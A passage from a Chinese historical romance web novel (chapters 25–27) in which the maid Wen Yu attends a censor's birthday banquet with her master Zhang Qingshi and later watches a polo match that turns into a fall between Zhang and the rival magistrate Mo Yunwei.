等温玉倒完茶后,莫云炜轻咳一声继续道:“小娘子,你家人我也已在寻。我还吩咐些人在府中备下新衣新脂,要不过了今晚你就——”
“温玉,倒茶!”
莫云炜话还没讲完,张清时一杯茶就喝见底了,又唤温玉续上。
温玉见状,继而替他续上一杯满满当当。
莫云炜脸色已经掉了几分,但还是选择无视张清时继续说:“小娘子,今晚你——”
“嘶——!”
张清时忽然喊疼,将温玉和莫云炜的注意力都被吸引了过去。
原来是张清时喝热茶喝得急,唇舌都被烫红了。
温玉没顾上其他,立刻向席间的仆从要了一壶凉水过来,倒入茶杯中再递给张清时喝,好让他降一降温度。
张清时喝完一杯后,还是感觉没有完全好,继而又让温玉继续倒水递水。
温玉也是心生担忧,给他倒茶,时刻观察着他的状态,完全将莫云炜和他要说的话皆抛在脑后。
而旁边的莫云炜则目露鄙夷,有些阴阳道:“张刺史,受这么严重的伤要不我去找大夫给你医治?”
“无妨。”
张清时尽管喝得肚子有些胀,依然坚持要温玉继续倒水。
莫云炜见了,只得冷哼一声。
好在,接连喝七八杯水后,宴席的主角出现了。
座位间交谈停止,张清时也停下索水,众人将目光都投入到那对人身上。
25. 东州6
是东州监察御史焦邑焦郎君携他的妻子袁丽姬袁氏一同进来了。
焦郎君面相宽阔,身形板正,袁氏容貌昳丽,身上没有什么繁杂的装饰,倒显得清新淡雅。
两人步入正堂,朝各位行了一礼,众人也起身回礼祝福:“恭祝焦郎君生辰快乐。”
“焦某谢过诸位不远千里为我庆生。”
焦郎君也再次谢过,随即,大手一挥,好几个仆从便端着珍馐、水果、美酒纷纷上桌。
“今日,我要与诸位不醉不归!”
焦郎君豪迈地喊完,便小心翼翼地牵着妻子袁氏落座。
等袁氏先坐下,他才自己坐下。
坐好后也不停歇,陆续开始给她斟酒,夹菜,剥果。
有想敬酒的官员见此番场景都要打趣几句:“今日不是焦郎生辰吗?为何还要尽伺候着你娘子?”
焦郎君耸耸肩笑道:“哈哈哈,你错了,生辰是令人高兴的日子,不是给特权的日子。服侍娘子是我本职,也是我所乐之事。”
那官员听言也笑了声,立马敬了一杯袁氏:“还是焦夫人驯夫有术,训成这么一个位得体的郎君。那我今就不落俗套祝生辰,而祝两位百年好合,白头偕老,做对生生世世的好夫妻!”
“多谢。”
焦郎君同他夫人一起举杯饮下。
接着,其他官员开始陆续敬他们两夫妻酒,敬一杯酒,说一句祝词。
很美好,温玉看见袁氏脸上绽放的笑容,很羡慕。
焦府院中季节未到,睡莲未开,但莲花开在了袁氏的脸上。
不过有敬声,也有非议声。
像有些人吃醉了酒就在席间同四周议论:
“没想到堂堂焦郎君对外都是雷厉风行,对老婆却是服务地周周到到的哈!”
其他人是微微点头,莫云炜却接起话头,扇着扇子,摇头道:“要我说,焦郎君如此惧内有所不妥。”
“有何不妥?”
邻座有想凑热闹的,便也接起茬来,激起莫云炜继续“侃侃而谈”:
“女子本就柔弱之辈,要是连女人都不能降服,那岂不是比这些女流之辈还弱。
这不还恰巧证明焦郎君在外面的威风都只是虚张声势?”
“有道理,有道理。”旁边人听之纷纷附和道。
张清时微微皱起眉头,不愿同他们攀谈。
恰巧此时见焦郎君此时身边无人,便端起酒杯走向焦郎君,敬他们夫妻一杯。
说完简短祝词后,再与焦郎君闲谈些话语。
刚开始还聊些政治经济方面的见解,但聊着聊着就聊到张清时的近况。
“张郎君,头一次见你贴身带个丫鬟,怎么?转性子了?”焦郎君看向一旁静静站着的温玉,身子站得挺拔端正,也不与其他人交流,倒颇具张清时的样子。
张清时摇摇头解释道:“她是我请来照顾花的丫鬟,之前让府内的仆从打理花,都打理的不够好,所以想请些会打理的丫鬟来。”
“哈哈哈,难怪,我还以为你这小子开窍了呢!”焦郎君见怪似地锤了张清时胸口一拳,“这把年纪还不成家,你家里人不催你?”
“不催。”张清时微微扯起嘴角,笑容掺杂着些许尴尬。
袁氏倒读懂了张清时的表情,嗔怪似地看了一眼焦郎君:“你这人懂什么,张郎君定是要先立业再成家的。”
焦郎君这才恍然大悟:“噢噢噢,对对对,我嘴笨,我嘴笨,张郎君,我自赔一杯。”
张清时也陪着喝了一杯。
他不嗜酒,但酒喝得多了,倒也能体会那些嗜酒如命的人的心理。
清凉苦涩的液体入喉,入心,入胃,倒也能卷走心底一丝苦涩。
久而久之,迷恋,上瘾。
闲聊过后,张清时重新回座,席内歌舞平升,他突然开始一杯接一杯的喝。
温玉起初没有在意,张郎君平时都张弛有度,再说官员喝酒应酬正常不过,便一杯一杯替他倒酒。
倒着倒着就发现不对劲,他完全是一个人在干喝,且都不带停,喝完就陆续续上。
虽今日与张郎君起了多番争执,但毕竟是自家郎君,温玉心底还是隐隐生出担忧,小声提醒道:“郎君,莫要贪杯,若喝醉了不好。”
“无妨~”
张清时说这话时已然身子轻飘飘的,继而单手撑着额头,伏在桌前。
而另一旁的莫云炜瞥见便取笑道:“张刺史,你这酒量不行啊,喝一点就醉成这样。”
“你行,那你就接着喝啊。”
轻飘飘状态下的张清时仍还坚持用双手支在桌上,强使自己坐直了起来,然后举着酒杯摇摇晃晃地举向莫云炜。
莫云炜见他这番言语,不屑地冷笑一声,直接端起桌上一杯满酒就灌了进去。
“好,再来!”
张清时忽而大声喊道,喝醉酒的他跟往日温文尔雅的样子大相径庭,倒像个小孩子似地要同莫云炜拼酒。
莫云炜也不愿输气势,默允了张清时的挑战,又端起酒杯一杯一杯同张清时干着,势要比个高下出来。
温玉在一旁一时之间也不知道先劝哪个酒蒙子好。
而席间也有不少人注意到这,纷纷问道:“这是哪两位郎君?”
有人答道:“穿白裳的是青州刺史张清时张郎君,旁边那个则是东州罗圆县县令莫云炜莫郎君。”
“张清时我听说过,不是听说是‘花面郎君’吗?怎地是副这样酗酒的品性?”
“恐怕是徒有其名,就脸长那样!”
“哈哈哈哈。”
席间有不少人看他两笑话,他两也争气,一个喝得东倒西歪,一个喝得面红耳赤。
温玉叹气,竟劝不住张郎君,由得他现这样一副狼狈样。
正当温玉要唤席间侍从备些醒酒汤时,趴伏在桌上的张清时突然伸手,拽了一下温玉胳膊。
温玉以为他身体不适,俯下身悄声问:“郎君,怎么了吗?”
“送我回去。”
张清时低声道,随即又倒在桌面。
见这情形,温玉只得先跟席间的随从告知郎君离席的理由,没成想,随从竟说已早些在府中备下房间,供张郎君使用。
并叫了两个随从一同抬着张清时回房,温玉心系张清时安危,也跟着过去。
一回房,随从将张清时抬至床上后便离开,也没有说替他整理衣裳,洗漱什么的。
温玉看着不省人事的张清时,微微叹息后自己去抬了一桶水和拿了一块巾帕过来。
抬水至房中,张清时还躺在床上,身体微微起伏,均匀地呼吸,似乎已睡着。
随即,温玉便点燃房内烛火,用温水浸湿巾帕,然后过去替他擦洗。
张清时饮酒不上脸,如玉般细腻的脸庞还是很白,只是唇色红红的。
温玉将巾帕举至他脸上方,还未擦洗,一滴水珠不自觉地从帕角滴落,落到他的眉心,又顺着笔挺的鼻梁滑落至唇珠。
倒真像是唇间含着一颗珍珠,令人好奇地想碰一碰。
温玉唇的一张一阖,今晚一点食物和水她都没吃,嘴唇有些干涸。
随之,她还是将巾帕拧得更干些,再去轻轻擦洗他的脸庞,如同擦拭瓷器一般
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仔细。
擦拭完脸,再到脖颈,再到……
温玉的视线停留在他的胸口上。
好像也替他褪去衣裳才能够擦洗身子吧……
温玉视线再往下,直至那条缠在腰间的金腰带。
在烛火下金光闪闪,温玉细指摸了上去,金属的质感是她从未体会过的。
但还没多停留,她的手就被一双冰凉的手指牵住。
空灵的声音继而传来:
“你想做什么?”
吓得温玉瞳孔立刻骤缩,慢慢将视线往上移:
本该醉醺醺的张清时他睁开了眼,烛火在他眼中摇曳,炯炯有神。
吓得温玉立马将手缩回,跪在床侧的地上,匆忙解释道:“奴…奴…奴婢是在替郎君宽衣解带,好让郎君歇息。”
“我说过不用。”
“是……”
温玉头低得深深的,她不知道是碰见鬼了还是怎地,喝得烂醉的张清时怎么会醒呢?
“你走吧,我醉了,要歇下了。”
“是。”
温玉偷偷抬眼时,张清时已经阖上眼睛,似又回到醉态。
温玉见了也不敢多做些什么动作,心中还有被吓得余悸,便吹息了蜡烛,只身退下。
退下后,回到长廊上,发现自己还没歇下的地,便开始在府中找丫鬟询问。
恰逢宴席结束,温玉遇上一个正收拾的丫鬟,问她御史府内丫鬟住处有没有空余的,好让她挤一晚。
可丫鬟却说要听主母安排,让温玉去找主母,还顺带给她指了路。
温玉谢过后便朝焦郎君和袁氏住的厢房走去。
先叩门等应允后再入门。
一入门便被此番场景惊呆了,袁氏舒适地躺在藤椅上,而焦郎君,一个大官员跪在地上替她洗脚。
袁氏见温玉这番呆愣的样子也不恼,用团扇点了点焦郎君的头。
焦郎君立马转身回话道:“别见笑,娘子为我穿衣打扮,坚持到宴席结束实属不易,所以理应替她舒缓一下。”
温玉不可置信地点了点头,再抬眼看袁氏时,眸子多了一丝崇拜。
袁氏只是微微笑了一下,便问:“你是张郎君的丫鬟,所来何事啊?”
温玉:“回袁娘子,郎君吃醉了酒已歇下,但温玉暂没有住处,想向娘子讨一个住处,就同府内丫鬟住在一起就好了。”
袁氏不紧不慢地摇着团扇,眼眸有些淡然:“你是张郎君府中的丫鬟,不应同他一起宿下,或者是他安排吗?怎么能上我这处讨呢?”
以为袁娘子是个心善好说话人,但这番话却让温玉刚升起的一丝崇拜又破灭了。
她跪下行礼道:“郎君吃醉了酒,没法给奴婢安排,所以来求袁娘子来了。”
“我说,你这小丫头是不是也听不懂话。”袁氏举着一把团扇似要落在温玉的头上,“既然他已醉了,就同他歇一屋就是,我这没有多余的。”
温玉:“……”
温玉把乞求的眼神再看向焦郎君,而他则端起水盆催赶道:“宴席已经结束,我们这要歇息了,你快走吧。”
“是……”
温玉应声,低着腰退下了。
回到长廊上,兜兜转转又来到张郎君歇下的厢房门前。
刚还因为脱衣这件事被赶出去,现在又要求郎君留宿,温玉都没想好该怎么开口。
正在门前徘徊不前时,身旁多了一丝清爽的风。
温玉侧身一看,竟是张清时,他是从另一侧回来的。
而且他这身姿正常,眼神含光,温玉怀疑,张郎君根本没有醉。
26. 东州7
张清时从茅房刚回来,没想到一回来又撞见温玉在门前鬼祟。
刚要开口质问却撞上她那如月般清澈的眸子时,才想起自己应该在装醉而不是如此清醒。
心虚大过审判,两人相视无言。
但由于多事的秋,掀起一阵寒风,素来穿着单薄衣裳的温玉身子不由地哆嗦了一下,张清时才先开口让她进屋。
进了屋后,张清时就立即靠床边坐下,单手揉着额头,紧皱着眉问道:“温玉,怎么这么晚还在这?”
“回郎君。”温玉抿了抿唇道,“我没地方住,然后求袁娘子,袁娘子说没有空房,让我找你安排。”
“我?”
张清时眉头皱得更深了,的确是没有安排到温玉。
计划是当晚搜查完乌合人便定下的,而温玉是突然加入,且是女娘,先前就没有安排上。
但后面也有补充书信让焦郎君安排,可他们却没安排房屋,这点倒让张清时有些琢磨不透。
“既然郎君也无法安排的话,那…温玉就站在门边替郎君守夜吧。”
温玉又退回至门边,进来时没有点蜡,她瞧不清张郎君神情,且他还未回话,她以为郎君不喜。
“等等。”
张清时叫住温玉,微叹口气。
“你就歇在此处吧,我另寻去处。”
“这……这怎么能行?”温玉诧异,哪有让丫鬟睡主子的床,“温玉可以站外面守一夜的。”
之前在陈府的时候,她也守过大半个月的夜。
要不是有一次晕倒了,估计还会让她继续守。
“晚上冷,且今日府内人多,还是不要随意走动为好。”
“可是……”温玉还在犹豫推脱。
张清时就已经起身,走至她的身前。
他借着从门板缝隙透过的细碎月光开始打量起温玉。
他之所以不让她守夜,一则的确是因为夜晚风大,她太过瘦弱,吹一夜身体肯定要吹垮。
二来,她先前如此鬼祟,现在见他装醉还主动提出守夜,是要见谁?
是要把秘密传给谁?
张清时的眼神越来越锐利,似想是要从温玉那双浅色的眸中探查出她的秘密。
她这一路和谁往来最为密切?
她这一路接触的人中谁最可疑?
呼之欲出的答案。
张清时单手撑在温玉身后的门板上,高大的身影笼罩在温玉的上方,如月色凄冷的眼神看着她,冷声道:
“我不需要别人替我守夜,你如此坚持,是为了什么?为了赴莫云炜的约?”
他如此逼近,眼神灼热,温玉感受到他身上从未见过的压迫感,身子不自住地想往后退,可身子已然是与门板紧贴到无缝隙了。
而张清时见她这慌张样子,更坚定了内心所想,脸往前又凑了几分:
“怎么?我说对了?”
灼热的气息混杂着酒精,烫烧着温玉的脸,她迅速地别开脸解释道:“郎…君,我没……没有。”
“你不是说他是你最好的选择,今晚他要邀请你做什么?”
张清时继续追问,喷洒的热气开始灼烧温玉的耳朵。
她的耳根在暗处悄悄地红了。
“邀请我?”
“我都没有听清!”
温玉记起先前席间莫云炜的确是约了今晚要做什么来着,可好像人家话都没有讲完就被张郎君给硬生生打断了吧。
先不说话她都没有听明白,而且就算说了她根本也不会在意。
“没听清?你们私下就没在见过面吗?刚刚你离开我房间做了什么?”
“没有!”
面对张郎君这突如其然地扯上莫云炜,还不停地追问她有没有私下见过莫云炜,温玉瞬间就气上了。
不禁猜想他问这些,难道是想看她有没有夜会别人,继续勾搭别人吗?
他怎么能这么想?
温玉气愤地转过脸来,充满怒意的眸子直直对上他的视线,愤愤不平道:
“今天晚上,温玉一直都没有离开过您的身边,且刚刚出去也是为了求袁夫人给自己一个住处。
这期间我就没同莫县令说过一句话,连您们醉酒我也都是只扶您过来歇息,根本就没在意过他。”
“你不在意他?”
张清时惊诧,温玉不在意他,他不是她的对接人,那是自己误会了吗?
那为什么她还说他是最好的选择?
“郎君是希望我在意还是不在意?”温玉没好气地反问道。
一会儿让她考虑莫云炜的是他,一会儿又让她放弃考虑的也是他,现在又迫切希望她与莫云炜有关联的还是他。
温玉都不明白张郎君是想要做什么?
“他…”
张清时顿住,他又想起与温玉争论过关于选择的评判标准……
他的确占着自己是上位者,占着自己受过礼仪规训,就自作主张地将人推远,又将人拉回。
现在还猜测和怀疑人家。
实属不齿,他对自己的行为感受到不齿。
他按在门板上的手微微松力,垂下羽睫道:
“抱歉……”
话语又回到往日的温和,但温玉却突然瞪大了双眼,这是……她第一次听主子给丫鬟道歉的。
张郎君主动给自己道歉!!!
可……张郎君怎么能道歉呢???
这好比就像将高挂在天穹之上的明月落入泥塘似的,辱没了他。
温玉感觉世界观都在崩塌,不禁焦急地喊道:“郎君您倒什么歉?”
“我…那……”
“这根本就不是您的错!”张清时话还没讲完,温玉就已经急着去打断反驳,“郎君本就是为了温玉好。
“莫县令第一次求娶时,长得一表人才,又是当官的,在温玉这个身份面前的确是个不错的选择。但郎君您也不是直接做主将温玉许配给他,而是说要温玉父母同意才行。”
“但第二次,我们都瞧见他这人品行不端,不信守诺言,就连相濡以沫的妻子也只因为生不出孩子就随随便便抛弃,这种人怎么会是一个好的选择?”
“郎君您说的都对,何错之有?”
“温玉……?”
张清时抬眸看着身前两眼怒火的女子有些微微震惊和诧然。
头一次道歉还有人为自己辩驳的。
可这……好像偏离了审判的中心。
温玉也察觉到自己话过于密了,便稍稍收敛情绪,低下头道:
“但如果郎君继续让温玉选择莫云炜的话,温玉…也是可以的。
但温玉其实本身是不想选择莫县令的,还……希望郎君不要误会是温玉勾搭他的。”
“不可!”
“不可选择他!”
张清时将手掌又紧紧地贴着门板。
听她说不在意他,不愿意选择他,张清时心口的微微松了口气。
她今日都如此坦言,他又怎能亲手推人家入火海呢?
不能一错再错。
手掌一拍门板,他退开,点燃烛火。
烛火瞬间照明整个屋内。
在光亮中,他又铺开一张新纸,正色道:
“温玉,关于你如何选择,从今以后我都不会过加干涉。”
“但我还是想教你一句诗。”
随即,他便提笔在宣纸上洋洋洒洒写了两句:
“士之耽兮,犹可脱也。女之耽兮,不可说也。”(取之《诗经》)
温玉没理解:“这是什么意思?”
“意思是——”张清时此时极度认真道,“在一段婚姻或感情中,男子陷入可以很快脱身,他能休妻亦能纳妾。
而女子则不能,有很多世俗的牵绊导致她们无法脱身,比如坊间碎语、家人不理解、男子纠缠等等,有很多牵绊阻碍着她们,迫使她们成为不幸福的人。
我之前也太相信世俗约定,现在才发现约定只能规束己身,而不能规束他人。
所以,温玉,我希望你以后无论怎么选择时,一定要擦亮眼睛。
不要选一个对你很好的人,要选一个本身就好的人。”
“温玉,你明白吗?”
“明白了,郎君。”
温玉认真地点了点头,此刻张清时在这烛火光中又一次散发了圣人的光辉。
要选一个本身就好的人。
温玉抬眼看向张清时,郎君他就是一个本身就好的人。
气度不凡、才貌双全、温文尔雅。
温玉心想,如果以后要选夫君的话,定要向张郎君看齐。
*
昨晚在张清时的坚持要求下,温玉还是睡在厢房中,而张清时则另寻去处。
第一次睡在柔软宽大的床榻上,温玉睡得很香,也起了个大早。
只是一大早也未看见郎君身影,午时才被人告诉郎君在前院。
去至主院时就瞧见焦郎君、袁娘子和张郎君各个各牵着一匹俊马立在院中。
四人宽大的衣袖也被襻膊捆了起来,马背上还各捆着一根球杖,三人站着的架势就像是立马奔赴战场的士兵。
虽有见过张郎君一脚踹飞他人的场景,但他这雄壮威风的样子却是温玉第一次见。
跟以前的感觉都不一样。
温玉不知道他们这是要做什么,便走上前,借着整理张清时身上衣物的理由悄声问:“郎君您这是要去做什么?”
张清时拍了拍马背,一跃而上,说道:“打算同焦郎君他们一起去打马球。”
马球,温玉听说过,是一种坐在马上击鞠的运动,是现在最时兴的运动之一。
陈府中陈禹年纪大不乐意打,陈子诩风流但体格不行,玩过几次就没玩过。
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他的马具还堆在杂房里生锈了都。
不过,如果是张郎君打,温玉突然也有点期待郎君在马场上飒爽英姿了。
就是不知道张郎君愿不愿意带上自己。
温玉默默地摸了一下马毛,这毛茸茸的生物看起来真强壮。
其他人也陆续上马准备出发,倒是袁氏注意到一旁摸马的温玉,顺道在马背上打趣张清时道:“张郎君,你这小丫鬟不一起带去吗?”
袁氏这话,让张清时也注意起温玉。
他原只想让温玉知晓自己行程即可,至于是否要一起同行。
张清时想让她自己做选择。
他俯下身轻和地问:
“温玉你愿意去吗?”
张清时坐在马背上,逆着曦光,高大魁梧,但相比之下,温玉却显得有些渺小。
她想去看张郎君打马球,可她又不会打球,也不会骑马,去了又能做什么?
于是温玉脸上强撑着笑容回道:“谢郎君,谢袁娘子,温玉不会打马球也不会骑马,就不过去给大家添麻烦了!”
“这有什么?”一旁的袁氏冷哼一声,随即勒动马绳,马的身躯直接被勒立了起来,简直比男儿还要高大威猛的样子,“不会,学就好了。”
“是啊,我的骑术还不比我夫人好。”焦郎君也在一旁附和道,“说不定,你的骑术也会远超张郎君的,哈哈哈!”
温玉望着袁氏的样子,看似娇小的身躯,但臂力、胆识、能力一点也不输男子。
她又偷偷萌生了想成为袁氏那样的想法。
便语气认真对张清时道:“郎君,我想试试。”
张清时也欣然同意,便向她伸出了一只大手:“来,我拉你上去。”
温玉将手放入他的掌中,他捏紧,再一拉,温玉就一个飞跃侧坐在马背上。
“哇!”
第一次骑上这么威猛却又毛茸茸的生物,温玉又是惊奇又是喜悦的,以至于尖叫了一下。
“温玉,别怕!”
张清时安抚着她的情绪道。
待温玉缓过来后,坐正,张清时才将马绳递给她,并示意道:“温玉,你抓紧缰绳,我来教你如何骑马。”
听之,温玉便接过那缰绳,皮质的,具有弹性的同时又非常有韧劲。
紧接着,身后的张清时便双腿用力地夹了一下马腹,马儿就跟着嘶鸣一声,继而抬起双腿往前跃了一大步。
温玉没经验,马往前跃,她就往后倒,顺势就倒在了张清时的怀里。
听见强有力的胸膛碰撞声之外,她的脑袋还顶撞到了他的下巴。
温玉顿感不好意思,急忙道歉:“抱歉,郎君,我不是故意的。”
“无碍,你要习惯。”
张清时温和的声线依旧,然后将她的身姿扶正,再驱动缰绳。
马儿像得到指令似的,四腿都踏了起来,风尘滚滚,他们一同朝前面奔去。
而袁氏和焦郎君也驱动缰绳,一同跟了上来。
现在,前院就除了干杂扫的人以外,就没有其他人了。
但主院还留着一个闲人。
是喝醉了的莫云炜。
他一醒来才发现歇在了焦郎君府上,顿感面子大失。
好端端地,偏他一个人醉了酒,还不指定醉酒后在府内闹出什么笑话呢!
光想着他就又恼又羞,慌忙穿好衣服和靴子,要辞别焦郎君他们再走。
可到主院时却发现没有一人,抓一个丫鬟来问,却被告知和张清时一同去了马场。
张清时?这两人关系可真好。
莫云炜摇摇头要走,可瞧见丫鬟的样子,又想起了温玉。
找她兄长本就麻烦的要紧,本想着昨夜哄骗她过来一同睡一屋。
就算什么也没干,这清白嘛!她是有嘴也说不清楚。
可是那张清时拉他拼酒,他就给忘了这茬。
不过现在张清时走了,他那个小丫鬟也不一定跟去吧。
莫云炜坏笑一声,复又问丫鬟道:“跟着张刺史的小丫鬟她歇在哪里了?”
丫鬟道:“不清楚,只知道她也同主君他们去了马场。”
“马场?”
这个答案莫云炜听了老难受了,这没得到的东西总是在他心尖上挠痒痒,一点儿也不得劲。
尤其是这张清时,说好的可以让他娶温玉,结果却是再三阻拦,还带着她去什么马场。
真是有够过分的!
但这马场,莫云炜摩挲着下巴想了一下,他要不也去赴一赴?
说不定还能杀杀张清时的威风,让温玉察觉到他的厉害,并主动对他投怀送抱呢?
想着想着,莫云炜就仰天长笑了好一阵,吓得被抓的丫鬟趁机就偷偷溜走了。
莫云炜也没在意太多,走到府外叫他的人给备马,他定要去这马场好好闹一闹!
27. 东州8
骏马四肢矫健,在街道上奔腾的速度很快,温玉坐在上面也时不时跟着马一颠一颠的,坐的既不平稳又很难受,还时刻担心失去控制而滑落至马上。
但好在,每一次要被颠飞的情况,不是有张郎君□□的胸膛接着,就是有他宽大的臂弯护着。
且每次他都会很细心地嘱咐骑马的注意事项,一次次将温玉扶正,教她如何驱动缰绳,教她如何勒马转弯,如何让马提速,如何坐的更舒服……
在这样敦心的指导下,温玉竟慢慢开始习惯这匹骏马的奔驰,适应它的起伏,并开始学着张郎君的样子驱动缰绳。
而张清时也注意到温玉的进步,并直接夸赞道:“温玉,你学得很快!”
温玉不仅学的很快,脸也红的很快。
铺满而来的秋风都吹不散她脸上的热气。
这是她第一次被夸,难免有些害羞。
但她驾马也有了干劲,双腿用力一夹,马儿骤然提速,四蹄如飞,就连身旁的秋风也加快了流动的速度,吹得她神清气爽。
这是温玉从未体验过的奔驰。
畅快而又自由。
等众人皆到达马场后,温玉才发现要一起打马球的人还挺多。
但他们都是早些时候就约定好了的,而温玉则是多余的那一个。
关键这时,张清时还拍了拍温玉的肩膀示意她下马。
短暂的快乐被剥离,温玉有些失落的情绪流露在表面。
见状,张清时便及时安慰道:“温玉,我们这是比赛制,这场你先在座位席上学习,下一场有人输了就换你上场,好不好?”
“我……我也可以上场?”
温玉惊讶道,她虽然心里想的是一直同张郎君一起骑乘下去,没想到张郎君还愿意带她一起打马球。
这是远比在一起更有趣的快乐。
“当然,你不比这场上任何一个人差。”张清时认真道。
他如秋风般温和从容的语气抚平了温玉内心的波动,也让她的内心更增添一份信念。
温玉立刻向张郎君道谢,然后乖乖下马,灵动的双眸藏不住欣喜。
稍即还握紧了拳头向张清时挥舞道:“郎君,比赛一定要加油!我想同你一起打!”
“谢谢,我会的!”
张清时笑着挥了挥马杖,稍许拉动缰绳,将马拉到马场中心去,同其他参赛人汇合。
马球比赛规则是分成两对,四人一队,只要将场上唯一的马球击入对方球门时即可获胜。
以半个时辰为限,哪一方进的球越多,哪一方就获胜。
约定好规则后,八人骑马各往赛场一边去,等待比赛开场的鼓声。
然而,这鼓声还没打响,马场外又一阵震耳的马蹄声响起。
众人放眼望去,看到的则是莫云炜骑着一匹骏马奔腾而来。
他朝场内大声地喊道:“焦郎君,这场比赛是否还能加我一个?”
“莫县令,这轮人已经满了,想打就趁下一轮吧!”焦郎君委婉地拒绝道,这些都是事先约定好的,哪能随意调换。
其他参赛人也纷纷露出了不满。
可这莫云炜不听也不在乎,骑着马就进了场内。
“焦郎君,就让我打一场就好!”
话是对着焦郎君说的,但不友善的眼神却停留在张清时身上。
打一场,他就让张清时知道什么才是真正的技术。
打一场,他说不定就能耍威风,抱的个美人归了!
“这……”焦郎君犯了难,求助的眼神看向了袁氏。
袁氏不拘一格地笑道:“一场是吗?莫县令?”
“当然,一场就够。”莫云炜自信道。
“好,焦郎你下场,我倒想要同这位莫县令好好比试一番!”
同为东州官僚,袁氏自然也知晓这莫云炜的风流韵事,而他这种人也是她最看不上的。先前没什么交际,如今碰上了,且他又这么自大张狂,惹众人不快,她定是要好好敲打一番。
焦郎君自是听娘子的话,对莫云炜微微叹口气后,就驾马至一边,然后下马同温玉一起观赛。
就这样,袁氏和张清时以及其他两人为一队,而莫云炜和其他三人为一队。
一声鼓响,比赛继续开始。
由于上场的基本上是男子,只有一个女子是袁氏。
他们让袁氏第一个发球,袁氏也不扭捏,策马向前,奋力往前一挥球杖,马球在空中划出一道红光。
红光未落地面,莫云炜策马过来,直接在空中拦截,马球又滚向另外一个方向。
场上八人开始一同追逐它的方向。
球滚落地面,最先达到的张清时则眼疾手快地一个俯击,马球又往对方球门滚去。
莫云炜想继续阻击,可球杖还未至,却被另一把球杖直接抢了先,袁氏奋力地挥出一杆,马球直接飞得个好远。
“好球!”焦郎君为自己的娘子大声喝彩道。
而莫云炜还在震惊之时,袁氏乘胜追击,直接挥出最后一击,球如流星般直射中对方球门,直接赢下一球。
“赢了!”焦郎君兴奋喊道,温玉也在一旁鼓起掌来,没想到袁娘子这么厉害,一点也不输男子。
而相比袁娘子在赛场上大放异彩下,莫云炜的脸色就难看了许多,他开始怪罪队友不作为,能力低下,配合度不高什么的。
场上其他人也不是普通人,听了这话也不如意,在马上就直接同莫云炜争执起来。
眼看嘴斗马上要演变成武斗,张清时连忙劝和道:“比赛以和为贵。如果觉得不适配的话,这样,要不我们换一下队友?”
“可以。”莫云炜双手抱胸,十分不屑道,“但不过——我要袁娘子做我的队友。”
“呵,你倒挺会协配资源的。”袁氏冷嗤一声,“不过,这把我选择退出。”
“你退出也没关系。”莫云炜依旧保持着高度自信,“我一人也可以吊打他们!”
“那我可真就翘首以盼了。”
说完,袁氏冷笑着策马离去,还顺带叫走了另一位同僚。
这下,马场上比拼的便就是三对三了。
同时,这两队的主力也分别就是张清时和莫云炜。
他们两人一同驱马走向赛场中心,表面上互相平和地握手,但两人眼神中都透露出无形的压迫感,互相较量,毫不示弱。
刚好一阵微风吹起,扬起了马场上的黄沙,正像是他们二人各自碰撞后形成的气场。
但在座位席上,因为隔得远,温玉看不清细节,只知道张郎君要带队与莫云炜比拼。
由于不清楚二人实力,温玉便心生担忧道:“郎君和莫县令打,赢的胜算大吗?”
焦郎君摩挲着下巴,猜测道:“瞧他两差不多的体格,我觉得一半一半吧。”
而袁氏则淡笑道:“输赢倒无所谓,不过——我倒想看看两个文官打起架来是什么样?”
温玉不解地问道:“这比赛,还会打架吗?”
袁氏喝了一口水,笑而不语。
激昂的鼓声响起,比赛继续。
这次则率先由莫云炜这边队友发球,他一杖挥下,在空中划出一道完美的弧线。
接着,六人齐驾马,朝那一球奔去。
而在前头领先的,则是张清时和莫云炜两人。
因莫云炜得了上把教训后,想着球要是再被拦,脸可就丢大发了。
于是他不再盯着球,而是盯着张清时的球杖,等张清时准备击球姿势时,他挥杆而拦。
两把器具发出清脆的碰撞声。
就在张清时诧异时,莫云炜身后的队友立马趁机赶上前去夺球。
好在张清时感知力较强,用力地将球杖一抬,脱离掉莫云炜的掌控后,再把马球往东方向击去。
再一夹马腹,继续追球。
莫云炜也立马跟上,可终究是晚了一步,眼瞅着张清时要将球击出,他一咬牙,将球杖挥向了张清时的马屁。
马儿疼得剧烈摇晃了起来,张清时也跟着晃来晃去,始
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终偏离了方向。
而莫云炜则轻笑道:“看好了,张刺史,看我如何赢下这局!”
“卑鄙!”
张清时骂道,但马疼得剧烈,暂时连缰绳也控制不了,如果他强勒,到时候还有可能闹得个人仰马翻的结果。
可这马球马上就要被莫云炜抢了先。
于是张清时立马沉着地环视四周,最终做了个大胆的决定,他勒起马站立,再一跳,借着马背为踏板,直接跃到莫云炜的马上。
“你……你!”
莫云炜震惊地无语轮次,而张清时再继续借他的势,抢先将马球往回一击。
紧接着,队友跟上,直接将球击向了对方球门,干净利落地赢得这漂亮的一球。
“精彩!精彩!”
座位席上的人纷纷都为张清时这一举动而喝彩。
但莫云炜当即不痛快了,使劲地扭动着马身道:“你这是耍赖!”
“谁说的!”
见他扭动的剧烈,张清时想拉缰绳以稳住身子,可莫云炜则拉扯左右,不肯给他。
然后竟直接拉直缰绳,勒马起立,想要将张清时抖落下去。
张清时无法,只能勾住莫云炜的脖子,让他喘不上气来!
“你…你要…做…什么!”
莫云炜被勒得面色发白也不愿松掉缰绳,还空出一只手给张清时的腰侧来了好几个肘击。
张清时闷哼一声,用手抵挡住喊道:“我本无意伤你,你这般针对我是做什么?”
“单…纯…看…你…不爽!”
莫云炜咬牙道,见肘击被格挡住,立马改用马杖去击打张清时的腿部。
腿部遭受的疼痛愈大,张清时勒得莫云炜愈用力,他眼睛都要被勒得突了出来。
见状,张清时只能一个手刀砍向莫云炜的胳膊肘,在他痛麻之时,再夺过马杖。
“还不松手?”
张清时挥舞着马杖想吓唬一下莫云炜。
可谁知莫云炜根本不死心,他喊道:“要死一起死!”
随即,莫云炜就用力踢了一下马腹。
马脖子被勒得生疼,腹部又遭一击,身子乏力,四肢不受控制,最终摇摇晃晃朝侧面倒去。
而连同马上的张清时和莫云炜也一起倒在地上,尘土扬起,纷纷盖在他们的面容上,把一个个好公子都变得灰头土脸的。
而在远处观看的温玉他们都不知道具体发生了什么,只知道张清时和莫云炜两人紧紧相拥在一匹马上,然后相互扭动,最后一同跌落在地上。
可这在马上突然摔落,都不知道这两人得有多疼,如果要是摔出个好歹来,那这两人都是贵体,可怎么遭得住啊!
于是温玉他们一见到两人摔落,就立刻一同奔去,看看他们受伤的情况。
而马场中心倒在地上的两人中,张清时率先起来,并舒展了一下筋骨。
他从小便习六艺,还穿戴了护甲,从马上跌落顶多有些疼和擦伤以外,其他倒没什么大毛病。
